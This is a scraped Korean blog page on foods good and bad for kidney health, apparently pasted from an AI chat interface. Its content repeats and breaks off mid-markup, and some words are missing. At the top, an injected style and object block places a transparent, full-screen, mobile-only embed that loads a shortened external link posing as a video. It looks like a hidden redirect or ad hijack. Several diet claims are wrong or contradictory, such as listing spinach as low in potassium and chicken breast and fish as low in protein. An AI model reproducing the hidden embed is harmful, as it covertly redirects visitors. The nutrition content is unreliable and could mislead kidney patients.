콩팥 신장에 좋은 음식 신장에 나쁜음식

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">콩팥 건강을 위한 식단: 좋은 음식 vs. 나쁜 음식</h2><p data-sourcepos="3:1-3:108"><strong>신장 건강</strong>은 우리 몸의 필터 역할을 하는 중요한 기관이기에 건강한 식단 관리가 필수입니다. 어떤 음식이 신장에 좋고, 어떤 음식이 나쁜지 궁금하신가요? 지금부터 과 함께 알아볼까요?</p><h3 data-sourcepos="5:1-5:13">신장에 좋은 음식</h3><p data-sourcepos="7:1-7:72">신장 건강을 위해 섭취하면 좋은 음식은 다양합니다. 이러한 음식들은 신장의 부담을 줄이고, 노폐물 배출을 돕는 효과가 있습니다.</p><ul data-sourcepos="9:1-20:0"> <li data-sourcepos="9:1-11:0"> <p data-sourcepos="9:3-9:91"><strong>수분</strong>: 충분한 수분 섭취는 신장 건강에 가장 기본이 되는 요소입니다. 물 외에도 수박, 오이 등 수분 함량이 높은 과일과 채소를 섭취하는 것이 좋습니다.</p> <ul data-sourcepos="10:5-11:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://koya-culture.com/mobile/article.html?no=113960"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="수분이 많은 과일: 수박, 오이 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSTayvu7Ik10XGH_8_8G__qGWYIFXzPYUMm5FmglLXGUh3m4KGTevAoVbUom5FO"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://koya-culture.com/mobile/article.html?no=113960" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcS9AJATbrtGbwrpHPFpo0jHmsJoKLQlQNPm-Vd9cOFCQ5YbaYfjMOobBk0KOK_nuwO8fLm7E_PJg8X_j7BA0t5EdSPyY0CuknpdWw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">koya-culture.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 수분이 많은 과일: 수박, 오이 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="12:1-14:0"> <p data-sourcepos="12:3-12:67"><strong>칼륨이 적은 채소</strong>: 칼륨은 신장에 부담을 줄 수 있으므로, 칼륨 함량이 적은 채소를 섭취하는 것이 좋습니다.</p> <ul data-sourcepos="13:5-14:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///sesil026/221042451029?viewType=pc"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="칼륨이 적은 채소: 양배추, 시금치, 브로콜리 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcT0ffJ6mIvBlpBXpYA-JCTq7VZZctt_gnCPxScVlQT9d0Q7GZz5xtiaZtMVSion"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///sesil026/221042451029?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 칼륨이 적은 채소: 양배추, 시금치, 브로콜리 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="15:1-17:0"> <p data-sourcepos="15:3-15:76"><strong>단백질 조절</strong>: 단백질 섭취는 신장 기능에 따라 조절해야 합니다. 의사와 상담하여 적절한 단백질 섭취량을 정하는 것이 좋습니다.</p> <ul data-sourcepos="16:5-17:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://k-health.com/news/articleView.html?idxno=46242"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="단백질 함량이 적은 식품: 닭가슴살, 생선 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTUYWjymJkHj-XI9SX_K_c6F_r0fz2ZMzVuUEByLIX1tWSMpwopItOVuy0Mp6zB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://k-health.com/news/articleView.html?idxno=46242" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQ9NBvqNpt4qI3oytzCxAHfbo5FBt3eYgzqRjwh42jUkZk6IaXg_t_lvb7_8nK91XsLHppPMnw1nfuXXimBha3NiWi5OYQv"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">k-health.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 단백질 함량이 적은 식품: 닭가슴살, 생선 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="18:1-20:0"> <p data-sourcepos="18:3-18:51"><strong>섬유질</strong>: 섬유질은 소화를 돕고, 혈당 조절에도 도움을 주어 신장 건강에 좋습니다.</p> <ul data-sourcepos="19:5-20:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://v.daum.net/v/HUFVsVdzly?f=p"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="섬유질이 풍부한 식품: 고구마, 현미, 귀리 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQQRgygh9qmQDLTw2VRRZLVKrJJGB0ZDDJsSPfD0Kh2HTKfrihVL0TUC8V2o5g7"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://v.daum.net/v/HUFVsVdzly?f=p" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQh3Mi_28aTvyvriwdlTY1oCZjdr02-RegnA9czzKy4mWbHJsMq84-6-VYalyyTtJAlLjnKq-jGHQZyjUDvwXRMv04UjA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">v.daum.net</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 섬유질이 풍부한 식품: 고구마, 현미, 귀리 </div></div></single-image></response-element></div></span> </ul> </li> </ul><h3 data-sourcepos="21:1-21:13">신장에 나쁜 음식</h3><p data-sourcepos="23:1-23:48">반대로, 신장에 좋지 않은 음식은 신장 기능을 저하시키고 질병을 유발할 수 있습니다.</p><ul data-sourcepos="25:1-33:0"> <li data-sourcepos="25:1-27:0"> <p data-sourcepos="25:3-25:49"><strong>나트륨</strong>: 짠 음식은 혈압을 높이고 신장에 부담을 주므로 섭취를 줄여야 합니다.</p> <ul data-sourcepos="26:5-27:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://.gimhaenews./news/articleView.html?idxno=10186"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="나트륨 함량이 높은 식품: 라면, 과자, 햄 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR-OIDNk_Pqcn3doeqh2_APxdWlI5htfTS-G7wtQEXPYD5dKY7qOh82WusMuhGt"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://.gimhaenews./news/articleView.html?idxno=10186" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRrk6M5iWZk-AZ7n3XzluzgX-j-v5F2c94Jdu-JEH8k7Y1W3dpE3cM_hnYF4SnpBjf-pM0yLWnuvjYuu81leM4r0s2pKG7LQuTo5cXllQ"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.gimhaenews.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 나트륨 함량이 높은 식품: 라면, 과자, 햄 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="28:1-30:0"> <p data-sourcepos="28:3-28:49"><strong>인</strong>: 인은 칼슘과 결합하여 혈관을 막을 수 있으므로, 섭취를 주의해야 합니다.</p> <ul data-sourcepos="29:5-30:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1555380/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="인 함량이 높은 식품: 탄산음료, 가공식품 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcS6NlhXT1qC2mmMpWcle98xXT4kD7jetPOOZiq-wV5GtUfEYRg0bZyPHbGR4OYA"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1555380/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 인 함량이 높은 식품: 탄산음료, 가공식품 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="31:1-33:0"> <p data-sourcepos="31:3-31:42"><strong>칼륨</strong>: 만성 신장 질환 환자의 경우 칼륨 섭취를 제한해야 합니다.</p> <ul data-sourcepos="32:5-33:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://v.daum.net/v/20240518085142318?f=p"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="칼륨 함량이 높은 과일: 바나나, 아보카도 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSsb-Zyqpw2Jm4Oic6oQQTglogrf-GTgNuKet5BdXdUJNSGbHxXzlpc8eNDoKLO"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://v.daum.net/v/20240518085142318?f=p" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQh3Mi_28aTvyvriwdlTY1oCZjdr02-RegnA9czzKy4mWbHJsMq84-6-VYalyyTtJAlLjnKq-jGHQZyjUDvwXRMv04UjA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">v.daum.net</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 칼륨 함량이 높은 과일: 바나나, 아보카도 </div></div></single-image></response-element></div></span> </ul> </li> </ul><h3 data-sourcepos="34:1-34:20">건강한 신장을 위한 식단 관리</h3><p data-sourcepos="36:1-36:97">신장 건강을 위해서는 의사와 상담하여 개인에게 맞는 식단을 구성하는 것이 중요합니다. 또한, 규칙적인 운동과 충분한 휴식을 통해 건강한 생활 습관을 유지하는 것이 좋습니다.</p><p data-sourcepos="38:1-38:89"><strong>주의:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다. 반드시 의사와 상담 후 식단을 변경해야 합니다.</p><p data-sourcepos="40:1-40:30"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://sondoctor./1046"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="신장 건강을 위한 식단 예시 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSqnchYfLn0PVe-vBLA5Cha1RznrLDGUTT3P3H7rGPIqrYY-C30yLdoR31g6g5W"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://sondoctor./1046" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b5c51fa648b2088c&quot;,&quot;c_e2f260743ab7f484&quot;,null,&quot;rc_b195031fca28a966&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcR67z3l5VDP6WAs-3p0Axz-kQIyFrVJrAd8znEJGwibRg0ie_e0__JHRXAt3PrfRwfoKUQcm42-pV0wCxQIlprCI7Xjq9Efplpt"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">sondoctor.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 신장 건강을 위한 식단 예시 </div></div></single-image></response-element></div></span></p><p data-sourcepos="42:1-42:73"><strong>을 통해 더욱 자세하고 시각적으로 정보를 얻으실 수 있습니다. 건강한 신장을 위해 오늘부터 식단 관리를 시작해 보세요!</strong></p><p data-sourcepos="44:1-44:39"><strong>신장건강 콩팥건강 건강식단 신장에좋은음식 신장에나쁜음식</strong></p><p data-sourcepos="46:1-46:37"><strong>[추가적으로 원하시는 정보가 있다면 언제든지 문의해주세요.]</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">콩팥 건강을 위한 식단: 좋은 음식 vs. 나쁜 음식</h2><p data-sourcepos="3:1-3:108"><strong>신장 건강</strong>은 우리 몸의 필터 역할을 하는 중요한 기관이기에 건강한 식단 관리가 필수입니다. 어떤 음식이 신장에 좋고, 어떤 음식이 나쁜지 궁금하신가요? 지금부터 과 함께 알아볼까요?</p><h3 data-sourcepos="5:1-5:13">신장에 좋은 음식</h3><p data-sourcepos="7:1-7:72">신장 건강을 위해 섭취하면 좋은 음식은 다양합니다. 이러한 음식들은 신장의 부담을 줄이고, 노폐물 배출을 돕는 효과가 있습니다.</p><ul data-sourcepos="9:1-20:0"> <li data-sourcepos="9:1-11:0"> <p data-sourcepos="9:3-9:91"><strong>수분</strong>: 충분한 수분 섭취는 신장 건강에 가장 기본이 되는 요소입니다. 물 외에도 수박, 오이 등 수분 함량이 높은 과일과 채소를 섭취하는 것이 좋습니다.</p> <ul data-sourcepos="10:5-11:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://koya-culture.com/mobile/article.html?no=113960"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="수분이 많은 과일: 수박, 오이 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSTayvu7Ik10XGH_8_8G__qGWYIFXzPYUMm5FmglLXGUh3m4KGTevAoVbUom5FO"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://koya-culture.com/mobile/article.html?no=113960" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcS9AJATbrtGbwrpHPFpo0jHmsJoKLQlQNPm-Vd9cOFCQ5YbaYfjMOobBk0KOK_nuwO8fLm7E_PJg8X_j7BA0t5EdSPyY0CuknpdWw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">koya-culture.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 수분이 많은 과일: 수박, 오이 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="12:1-14:0"> <p data-sourcepos="12:3-12:67"><strong>칼륨이 적은 채소</strong>: 칼륨은 신장에 부담을 줄 수 있으므로, 칼륨 함량이 적은 채소를 섭취하는 것이 좋습니다.</p> <ul data-sourcepos="13:5-14:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///sesil026/221042451029?viewType=pc"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="칼륨이 적은 채소: 양배추, 시금치, 브로콜리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT0ffJ6mIvBlpBXpYA-JCTq7VZZctt_gnCPxScVlQT9d0Q7GZz5xtiaZtMVSion"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///sesil026/221042451029?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 칼륨이 적은 채소: 양배추, 시금치, 브로콜리 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="15:1-17:0"> <p data-sourcepos="15:3-15:76"><strong>단백질 조절</strong>: 단백질 섭취는 신장 기능에 따라 조절해야 합니다. 의사와 상담하여 적절한 단백질 섭취량을 정하는 것이 좋습니다.</p> <ul data-sourcepos="16:5-17:0"> <span><div class="attachment-container 